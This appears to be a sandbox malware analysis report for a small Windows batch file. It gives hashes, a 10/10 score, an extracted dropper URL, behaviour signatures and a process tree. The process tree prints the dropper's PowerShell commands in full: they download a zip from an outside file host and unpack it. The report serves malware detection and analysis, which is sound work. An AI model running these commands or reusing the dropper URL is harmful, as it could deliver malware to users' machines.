Analysis

  • max time kernel
    121s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    06/11/2023, 23:24

General

  • Target

    tesy - Copy (11).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3068
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2672
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2912

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    437480e90a4530cdaccee2d4532c85df

    SHA1

    8f7d38a0e2d71f4122aee6a526f5e6e71385a6e4

    SHA256

    ab716ad4371da54df72940a6099f20b1b7e0f2d331d0c2c8dac74ac33fe9d620

    SHA512

    6445d534be4083a0eab2e8c0187e7b42de7ee3b869c8446102915fa774d75dbf7301dab9ec8c380b59b7614431daabd417fa8f00bd64e29e660c656d8289227d

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5Y3Z9LK9AJVOD2ZJ57ZC.temp

    Filesize

    7KB

    MD5

    437480e90a4530cdaccee2d4532c85df

    SHA1

    8f7d38a0e2d71f4122aee6a526f5e6e71385a6e4

    SHA256

    ab716ad4371da54df72940a6099f20b1b7e0f2d331d0c2c8dac74ac33fe9d620

    SHA512

    6445d534be4083a0eab2e8c0187e7b42de7ee3b869c8446102915fa774d75dbf7301dab9ec8c380b59b7614431daabd417fa8f00bd64e29e660c656d8289227d

  • memory/2672-8-0x0000000002470000-0x00000000024F0000-memory.dmp

    Filesize

    512KB

  • memory/2672-5-0x0000000002470000-0x00000000024F0000-memory.dmp

    Filesize

    512KB

  • memory/2672-4-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

  • memory/2672-9-0x0000000002460000-0x0000000002468000-memory.dmp

    Filesize

    32KB

  • memory/2672-10-0x0000000002470000-0x00000000024F0000-memory.dmp

    Filesize

    512KB

  • memory/2672-12-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

    Filesize

    9.6MB

  • memory/2672-6-0x0000000002470000-0x00000000024F0000-memory.dmp

    Filesize

    512KB

  • memory/2672-7-0x000000001B230000-0x000000001B512000-memory.dmp

    Filesize

    2.9MB

  • memory/2912-18-0x000000001B370000-0x000000001B652000-memory.dmp

    Filesize

    2.9MB

  • memory/2912-20-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2912-21-0x00000000026A0000-0x0000000002720000-memory.dmp

    Filesize

    512KB

  • memory/2912-19-0x0000000001FB0000-0x0000000001FB8000-memory.dmp

    Filesize

    32KB

  • memory/2912-22-0x00000000026A0000-0x0000000002720000-memory.dmp

    Filesize

    512KB

  • memory/2912-23-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

    Filesize

    9.6MB

  • memory/2912-24-0x00000000026A0000-0x0000000002720000-memory.dmp

    Filesize

    512KB

  • memory/2912-25-0x000007FEF5400000-0x000007FEF5D9D000-memory.dmp

    Filesize

    9.6MB